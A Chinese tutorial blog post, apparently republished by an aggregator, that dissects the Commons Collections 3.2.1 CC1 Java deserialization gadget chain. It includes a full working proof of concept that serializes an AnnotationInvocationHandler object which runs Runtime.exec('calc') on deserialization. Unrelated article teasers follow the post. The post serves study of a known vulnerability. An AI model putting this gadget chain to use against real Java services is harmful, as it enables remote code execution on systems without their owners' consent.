Java反序列化漏洞-CC1利用链分析

news2024/11/23 7:37:15

文章目录

    • 一、前置知识
      • 1. 反射
      • 2. Commons Collections是什么
      • 3. 环境准备
    • 二、分析利用链
      • 1. Transformer
      • 2. InvokeTransformer
        • 执行命令
      • 3. ConstantTransformer
      • 4. ChainedTransformer
        • 执行命令
      • 5. TransformedMap
      • 6. AbstractInputCheckedMapDecorator
      • 7. AnnotationInvocationHandler
    • 三、编写POC
      • 1. ChainedTransformer
      • 2. decorate
      • 3. AnnotationInvocationHandler
      • 4. 执行序列化和反序列化操作
    • 四、完整POC代码
    • 五、为什么是Target.class,为什么是"value"
      • 1. 构造方法中的判断
      • 2. readObject中的判断
        • var7 != null
        • var7的值
        • var5和var6的值
        • var3的值
        • 回到var7
        • 回到POC代码
    • 六、利用链

一、前置知识

1. 反射

首先,Java执行系统命令的语句是这样的:

Runtime.getRuntime().exec("calc");

用反射的方法执行Runtime.getRuntime().exec("calc")的语句是这样的:

//获取Runtime类对象
Class<?> clazz = Runtime.class;
//获取getRuntime方法
Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
//获取Runtime对象
Runtime runtime = (Runtime) getRuntimeMethod.invoke(clazz, null);
//获取exec方法
Method execMethod = clazz.getMethod("exec", String.class);
//反射执行exec("calc")
execMethod.invoke(runtime, "calc");

如果上面这些反射代码看不懂,建议补一下反射基础:

黑马Java反射,Java安全-反射

2. Commons Collections是什么

Java Collections Framework 是 JDK 1.2 中的一项重要新增功能。 它添加了许多强大的数据结构,可以加速最重要的 Java 应用程序的开发。 从那时起,它已成为 Java 中公认的集合处理标准。

Commons-Collections试图通过提供新的接口、实现和实用程序来构建JDK类。

像许多常见的应用如Weblogic、WebSphere、Jboss、Jenkins等都使⽤了Apache Commons Collections工具库,当该工具库出现反序列化漏洞时,这些应用也受到了影响,这也是反序列化漏洞如此严重的原因。

3. 环境准备

本文中漏洞复现环境:

  • commons-collections 3.2.1
  • jdk 1.8.0_65

在pom.xml添加commons-collections依赖

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

在项目结构中指定JDK版本

在这里插入图片描述

二、分析利用链

这个链分析顺序是从链的最后部分·,即执行命令的逻辑部分开始分析,一直到反序列化的入口点结束。

1. Transformer

Transformer是一个接口,这个接口声明了一个transform函数

在这里插入图片描述

2. InvokeTransformer

这个类的位置:org.apache.commons.collections.functors.InvokerTransformer

看一下InvokeTransformer的构造方法和tramsform方法,这里吧一些不必要的代码省去了

public class InvokerTransformer implements Transformer, Serializable {
    //构造方法
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
    //实现Transformer接口的tramsform方法
    public Object transform(Object input) {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    }

构造方法:InvokerTransformer(方法名,形参列表,实参列表)

tramsform方法:

  1. 调用接收到的对象的getClass方法,获取他的类对象
  2. 用getMethod方法获取cls类对象的iMethodName方法
  3. 用invoke方法执行input对象的iMethodName方法,参数是iArgs

也可以理解成tramsform就是反射执行 input.iMethodName(iArgs)

执行命令

用 InvokeTransformer 来弹个计算器试试

package com.zzy.ApacheCC1;

import org.apache.commons.collections.functors.InvokerTransformer;

public class Blog {
    public static void main(String[] args) {
        Class[] paramTypes = {String.class};
        Object[] args1 = {"calc"};
        InvokerTransformer it = new InvokerTransformer("exec", paramTypes, args1);
        it.transform(Runtime.getRuntime());
    }
}

上面这段代码相当于执行了这些东西:

Object runtime = Runtime.getRuntime();
Class cls = runtime.getClass();
Method exec = cls.getMethod("exec", String.class);
exec.invoke(runtime, "calc");

如何不直接调用transform方法,让程序自动调用transform方法来命令执行呢?请先看下面这几个类。

3. ConstantTransformer

ConstantTransformer的构造方法把传过来的值赋给iConstant

然后ConstantTramsformer的tramsform方法又把他返回回去。收到什么就返回什么,很没意思的一个方法是吧。

关键代码:

public class ConstantTransformer implements Transformer, Serializable {
    public ConstantTransformer(Object constantToReturn) {
        iConstant = constantToReturn;
    }

    public Object transform(Object input) {
    	return iConstant;
	}
}

然后我们先看下一个类

4. ChainedTransformer

public class ChainedTransformer implements Transformer, Serializable {
    public ChainedTransformer(Transformer[] transformers) {
        iTransformers = transformers;
    }

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }
}

ChainedTransformer的构造方法接收一个Transformer类型的数组

然后ChainedTransformer的transform方法遍历transformers数组,依次执行每个Tramsformr的transform方法,

给transform方法一个初始值,然后每个Tramsformr的transform方法的返回值最为下一个Tramsformr的transform方法的参数来执行

听起来是不是有点绕,在脑子里过几遍,然后再实际调试一下,这样就差不多能看懂了。

执行命令

我们试着用ChainedTransformer结合InvokerTransformer和ConstantTransformer来自动调用InvokerTransformer的transform方法完成命令执行

Transformer[] transformers = {
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
new ChainedTransformer(transformers).transform(null);

由于Runtime类没有实现Serializable接口,无法进行序列化,但是Class类实现了Serializable接口。

所以这里再改进一下代码,用Runtime.class命令执行

ConstantTransformer ct = new ConstantTransformer(Runtime.class);
//获取类对象
//Runtime.class

String methodName1 = "getMethod";
Class[] paramTypes1 = {String.class, Class[].class};
Object[] args1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);
//获取getRuntime方法
//Runtime.class.getMethod("getRuntime", null)

String methodName2 = "invoke";
Class[] paramTypes2 = {Object.class, Object[].class};
Object[] args2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);
//getRuntime.invoke获取Runtime对象
//it1.invoke(null, null)

String methodName3 = "exec";
Class[] paramTypes3 = {String.class};
Object[] args3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);
//Runtime对象执行exec命令
//it2.exec("calc")

Transformer[] transformers = {ct, it1, it2, it3};
new ChainedTransformer(transformers).transform(null);

上面这些代码相当于执行了这些操作:

Class runtimeClass = Runtime.class;
Method getruntime = runtimeClass.getMethod("getRuntime", null);
Runtime runtime = (Runtime) getruntime.invoke(null, null);
runtime.exec("calc");

成功执行命令

在这里插入图片描述

这里可以自动调用InvokerTransformer的transform了,但是又多出来个ChainedTransformer的transform,现在还得解决自动调用ChainedTransformer的transform的问题。先看看下面这几个类吧。

5. TransformedMap

类位置:org.apache.commons.collections.map.TransformedMap

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

	public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

	protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }
}

静态decorate方法可以调用TransformedMap的构造方法,返回一个TransformedMap实例。

TransformedMap的checkSetValue方法调用了transform方法,valueTransformer的值可以通过构造方法的第三个参数获得。

但是checkSetValue方法修饰符是protected,无法直接调用它,我们接着寻找一个可以调用checkSetValue方法的类。

6. AbstractInputCheckedMapDecorator

它是TransformedMap的父类

abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator {        
	protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
        super(entry);
        this.parent = parent;
	}

    public Object setValue(Object value) {
        value = parent.checkSetValue(value);
        return entry.setValue(value);
    }
}

可以看到它的内部类MapEntry的setValue方法调用了checkSetValue方法,但是setValue方法依然不能直接调用,接着寻找能调用setValue方法的类吧。

7. AnnotationInvocationHandler

这个类的主要作用是为注解处理器提供代理对象,以便在运行时动态地处理注解。

这个类的位置:sun.reflect.annotation.AnnotationInvocationHandler

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

	private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Map.Entry var5 = (Map.Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }
    }
}

这个类的readObject方法调用了var5的setValue方法,readObject正好是反序列化的入口点,终于快结束了。

var5是怎么来的呢?

AnnotationInvocationHandler构造方法的第三个参数var2赋给了memberValues

在这里插入图片描述

在readObject中最后赋给了var5

Iterator var4 = this.memberValues.entrySet().iterator();
Map.Entry var5 = (Map.Entry)var4.next();

next方法位置:AbstractInputCheckedMapDecorator.EntrySetIterator#next

在这里 next()方法用于迭代原始映射中的键值对,并将其转换为MapEntry类型。在这个方法中,首先通过调用迭代器的next()方法来获取下一个元素,并将其强制转换为Map.Entry类型。然后,使用获取到的键值对和父对象作为参数,创建一个新的MapEntry对象,并将其作为方法的返回值。

在这里插入图片描述

返回一个MapEntry对象,那个AnnotationInvocationHandler的var5就是MapEntry对象,最后调用了MapEntry的SetValue方法。

执行MapEntry的SetValue方法又会调用checkSetValue方法

在这里插入图片描述

checkSetValue调用ChainedTransformer的transform方法,进而达到命令执行的效果

在这里插入图片描述

到此,利用链构造完毕,我们将编写完整的POC

三、编写POC

1. ChainedTransformer

这一步无需多言,跟在ChainedTransformer那里讲的一样,最后获得一个ChainedTransformer对象

ConstantTransformer ct = new ConstantTransformer(Runtime.class);

String methodName1 = "getMethod";
Class[] paramTypes1 = {String.class, Class[].class};
Object[] args1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);

String methodName2 = "invoke";
Class[] paramTypes2 = {Object.class, Object[].class};
Object[] args2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);

String methodName3 = "exec";
Class[] paramTypes3 = {String.class};
Object[] args3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);

Transformer[] transformers = {ct, it1, it2, it3};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

2. decorate

新建一个HashMap对象,他的键(Key)的名称为value,至于为什么是value在本文章第五节会分析

TransformedMap.decorate返回一个TransformedMap实例,

实例的valueTransformer的值就是chainedTransformer

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "");
Map decorated = TransformedMap.decorate(map, null, chainedTransformer);

3. AnnotationInvocationHandler

用反射方法新建AnnotationInvocationHandler对象,用构造方法把上一步的TransformedMap实例传进来

构造方法传的参数为什么是 Target.class 在本文章第五节会分析

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annoConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
annoConstructor.setAccessible(true);
Object poc = annoConstructor.newInstance(Target.class, decorated);

4. 执行序列化和反序列化操作

反序列化时触发readObject,进而触发setValue,setValue时触发checkSetValue,checkSetValue返回的时候执行transform方法,最终进行命令执行

这里使用自己建立的序列化和反序列化方法,来模拟真实环境的反序列化。

serial(poc);
unserial();

这是序列化和反序列化的方法,不懂的话可以看 菜鸟教程 Java 序列化

public static void serial(Object obj) throws IOException {
    ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
    out.writeObject(obj);
}

public static void unserial() throws IOException, ClassNotFoundException {
    ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc1.bin"));
    in.readObject();
}

四、完整POC代码

package com.test.ApacheCC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class Blog {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        ConstantTransformer ct = new ConstantTransformer(Runtime.class);

        String methodName1 = "getMethod";
        Class[] paramTypes1 = {String.class, Class[].class};
        Object[] args1 = {"getRuntime", null};
        InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);

        String methodName2 = "invoke";
        Class[] paramTypes2 = {Object.class, Object[].class};
        Object[] args2 = {null, null};
        InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);

        String methodName3 = "exec";
        Class[] paramTypes3 = {String.class};
        Object[] args3 = {"calc"};
        InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);

        Transformer[] transformers = {ct, it1, it2, it3};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        /*
        ChainedTransformer
        */

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "");
        Map decorated = TransformedMap.decorate(map, null, chainedTransformer);
        /*
        TransformedMap.decorate
        */

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annoConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        annoConstructor.setAccessible(true);
        Object poc = annoConstructor.newInstance(Target.class, decorated);
		/*
		AnnotationInvocationHandler
		*/
        
        serial(poc);
        unserial();
    }

    public static void serial(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
        out.writeObject(obj);
    }

    public static void unserial() throws IOException, ClassNotFoundException {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc1.bin"));
        in.readObject();
    }
}

成功执行命令

在这里插入图片描述

五、为什么是Target.class,为什么是"value"

1. 构造方法中的判断

通过构造方法给AnnotationInvocationHandler的var1赋值为Target.class

然后把var1赋值给了this.type (记住这个变量)

把var2赋值给了this.memberValues

在这里插入图片描述

获取var1所有的接口

Class[] var3 = var1.getInterfaces();

然后if语句里面有三个条件,满足这三个条件才能给 memberValues 赋值,才能在readObject时触发利用链

if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class)
  • var1.isAnnotation() => 检查var1是否是一个注解
  • var3.length == 1 => 检查var1的接口数量是否为1
  • var3[0] == Annotation.class => 检查这个唯一的接口是否是Annotation.class

通过调试可以看到,var3[0]即Target.class.getInterfaces()[0]的值就是Annotation类对象,即 Annotation.class

在这里插入图片描述

所以构造方法应该传入一个注解类型的类对象。

2. readObject中的判断

var7 != null

AnnotationInvocationHandler的readObject里面有一个判断,var7不为空才继续执行下面的代码

在这里插入图片描述

var7的值

var7怎么来的呢?看代码:

var2 = AnnotationType.getInstance(this.type)
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);

之前分析AnnotationInvocationHandler的时候知道

var5和var6的值

var5的值就是decorate传进来的那个键值对

在这里插入图片描述

var6的值就是var5的key,即 "value"

var7的值通过var3得到

var3的值

var3则是 AnnotationType.getInstance(this.type).memberTypes()

Target.class:

在这里插入图片描述

可以看到Target只有一个名为value的成员类型

var3 包含了Target注解中定义的所有成员类型的键值对,通过调试可以看到结构是这样的:

在这里插入图片描述

其中,键是成员名称(String类型),值是成员的类型(Class类型)

回到var7

给var7赋值的代码是

Class var7 = (Class)var3.get(var6);

根据CC利用链学习的解释var3 是HashMap类型的,那么执行的就是HashMap的get方法

根据菜鸟教程对get方法的解释,get方法就是获取指定key的value

在这里插入图片描述

具体到上面这段代码就是这样

Class var7 = (Class)var3.get("value");

也就是获取到Target.class的value的类型,这里是ElementType

在这里插入图片描述

回到POC代码
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "");
Map decorated = TransformedMap.decorate(map, null, chainedTransformer);

如果这里map.put传入的 key ,在Target.class中没有对应的成员名称的话,var3就找不到var6,那么var7就为null,就无法执行下面的setValue了。

六、利用链

这里模仿 ysoserial 描述的利用链写出CC1的TransformedMap利用链

Gadget chain:
    ObjectInputStream.readObject()
        AnnotationInvocationHandler.readObject()
            MapEntry.setValue()
                MapEntry.checkSetValue()
                    TransformedMap.transform()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

感谢安全研究员 Innocent… 的指导
参考文章和视频
讯飞星火
java-CC链1分析
白日梦组长 CC1链手写EXP

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1317648.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

软件设计师——数据结构(一)

&#x1f4d1;前言 本文主要是【数据结构】——软件设计师——数据结构的文章&#xff0c;如果有什么需要改进的地方还请大佬指出⛺️ &#x1f3ac;作者简介&#xff1a;大家好&#xff0c;我是听风与他&#x1f947; ☁️博客首页&#xff1a;CSDN主页听风与他 &#x1f304…

基于Python数据可视化的网易云音乐歌单分析系统

目录 《Python数据分析初探》项目报告 基于Python数据可视化的网易云音乐歌单分析系统一、项目简介&#xff08;一&#xff09;项目背景&#xff08;二&#xff09;项目过程 二、项目设计流程图&#xff08;一&#xff09;基于Python数据可视化的网易云音乐歌单分析系统的整体…

栈(C语言版)

一.栈的概念及结构 栈&#xff1a;一种特殊的线性表&#xff0c;其只允许在固定的一端进行插入和删除元素操作。 进行数据插入和删除操作的一端 称为栈顶&#xff0c;另一端称为栈底。 栈中的数据元素遵守 后进先出 LIFO &#xff08; Last In First Out &#xff09;的原则。…

【图像分类】【深度学习】【Pytorch版本】 ResNeXt模型算法详解

【图像分类】【深度学习】【Pytorch版本】 ResNeXt模型算法详解 文章目录 【图像分类】【深度学习】【Pytorch版本】 ResNeXt模型算法详解前言ResNeXt讲解分组卷积(Group Converlution)分割-变换-合并策略(split-transform-merge)ResNeXt模型结构 ResNeXt Pytorch代码完整代码总…

Vue3页面如何设置rem单位的依据“根font-size”的两种方式

最近在对项目做整体的自适应。我们可以通过设置meta的viewport属性设置屏幕的缩放&#xff0c;但有时候&#xff0c;屏幕缩放了但字体大小也需要做相应的调整才能达到更好的自适应效果。我们很容易想到使用媒体查询rem来实现字体的自适应。 rem单位&#xff1a;“rem” 是 “ro…

XXE实体注入漏洞知识点

什么是XXE漏洞&#xff1f; XXE&#xff0c;即XML外部实体注入漏洞&#xff0c;XXE 漏洞发生在应用程序解析 XML 输入时&#xff0c; 没有禁止外部实体的加载 &#xff0c;导致可加载恶意外部文件&#xff0c;造成文件读取、命令执行、攻击内网网站等危险。 XXE漏洞触发的点…

甜酷女孩穿搭 I 时尚与保暖都兼具的羽绒服

这款工装风羽绒服 酷酷的中性风 清新温柔的杏紫两色 采用定制复合面料 顺滑平整硬朗的材质 具有防水功能 下雪下雨天也不用担心哦 90白鹅绒&#xff0c;立领连帽设计 帽子做的是可拆卸 可以切换两种风格 袖口采用可调节魔术贴设计 下摆可调节抽绳设计 处处透着细节…

Content-Type是什么

目录 Content-Type是什么 获取方式 设置方式 常见类型 application/x-www-form-urlencoded multipart/form-data application/json text/xml text/html text/plain Content-Type是什么 Content-Type出现在请求标头和响应标头中&#xff0c;意思是内容类型&#xff0…

用PHP和HTML做登录注册操作数据库Mysql

用PHP和HTML做登录注册操作数据库Mysql 两个HTML页面&#xff0c;两个PHP,两个css,两张图片&#xff0c;源码资源在上方。 目录 HTML页面 login.html <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta nam…

THEMIS---Beta Sprint Summary Essay Blog

Which course does this assignment belong to2301-MUSE社区-CSDN社区云What are the requirements for this assignmentbeta SprintThe goal of this assignmentTo summarize the beta task progress and the teams sprintsTeam NameThemisTop-of-the-line collection of essa…

Impala4.x源码阅读笔记(一)——HdfsTextScanner解析

前言 本文为笔者个人阅读Apache Impala源码时的笔记&#xff0c;仅代表我个人对代码的理解&#xff0c;个人水平有限&#xff0c;文章可能存在理解错误、遗漏或者过时之处。如果有任何错误或者有更好的见解&#xff0c;欢迎指正。 在文章Impala3.4源码阅读笔记&#xff08;七…

带你亲证AI应用开发的“奇点”时刻

带你亲证AI应用开发的“奇点”时刻 AI 应用开发——新的历史节点 事实上&#xff0c;没有任何一种突破能够不经历重重失败&#xff0c;不体验一轮轮的痛苦&#xff0c;就能直接展现在人类面前。AI 技术自诞生之初直至今日&#xff0c;其发展之路从未一帆风顺——辉煌与寒冬交…

Windows环境下QT应用程序的发布

时间记录&#xff1a;2023/12/17 1.生成版本介绍&#xff0c;debug&#xff1a;调试版本&#xff0c;携带调试信息&#xff0c;占用内存稍大一些&#xff0c;release&#xff1a;发布版本&#xff0c;一般开发完毕选择此套件进行编译生成可执行程序进行发布 2.发布步骤 &#x…

流程引擎相关资料

最近调研流程引擎相关知识&#xff0c;BPMN规范和流程引擎相关知识无法避开&#xff0c;以及市面上比较多的流程引擎产品。 BPMN2.0 基本形状 流对象&#xff08;Flow Objects&#xff09;&#xff0c;流对象是定义业务流程的主要图形元素。它进一步细分为三个类别&#xff0…

使用邮件群发平台,轻松实现高效沟通的4大优势!

新媒体带动着众多线上平台的发展&#xff0c;使得流量为企业带来了可观的营收。但是&#xff0c;随着短视频市场的饱和&#xff0c;想要再次获得初始时的流量就变得越发困难。在这个时候&#xff0c;企业不妨将眼光往邮件群发这个传统的营销方式上倾斜&#xff0c;特别是出海、…

LangChain 27 BabyAGI编写旧金山的天气预报

LangChain系列文章 LangChain 实现给动物取名字&#xff0c;LangChain 2模块化prompt template并用streamlit生成网站 实现给动物取名字LangChain 3使用Agent访问Wikipedia和llm-math计算狗的平均年龄LangChain 4用向量数据库Faiss存储&#xff0c;读取YouTube的视频文本搜索I…

别小看Python的【print】函数,这些高级用法你知道吗?

文章目录 引言技巧1&#xff1a;格式化输出示例1&#xff1a;使用%s来插入字符串&#xff0c;使用%d来插入整数示例2&#xff1a;使用字符串的format()方法示例3&#xff1a;使用f-string格式化输出 技巧2&#xff1a;控制输出文本的颜色技巧3&#xff1a;将打印结果重定向至文…

什么是Maven?

什么是Maven 1、Maven是依赖管理、项目构建工具。 pom.xml springBoot项目的核心配置文件&#xff0c;pom项目对象模型、Dependency依赖管理模型。 Maven中的GAVP是指&#xff1a; 1、GroupId&#xff1a;当前工程组织id&#xff0c;例如&#xff1a;com.jd.tddl 2、ArtifactI…

Redis-对象

参考资料 极客时间Redis&#xff08;亚风&#xff09; Redis对象 String • 基本编码⽅式是RAW&#xff0c;基于简单动态字符串&#xff08;SDS&#xff09;实现&#xff0c;存储上限为512mb。 • 如果存储的SDS⻓度⼩于44字节&#xff0c;则会采⽤EMBSTR编码&#xff0c;此…

QT:Unable to create a debugging engine.

debug跑不了&#xff1a; 报错&#xff1a;Unable to create a debugging engine. 参考&#xff1a; https://blog.csdn.net/u010906468/article/details/104716198 先检查是否安装了DEBUG插件 工具-》》选项 查看插件&#xff0c;如果没有的话&#xff0c;需要重新安装qt时…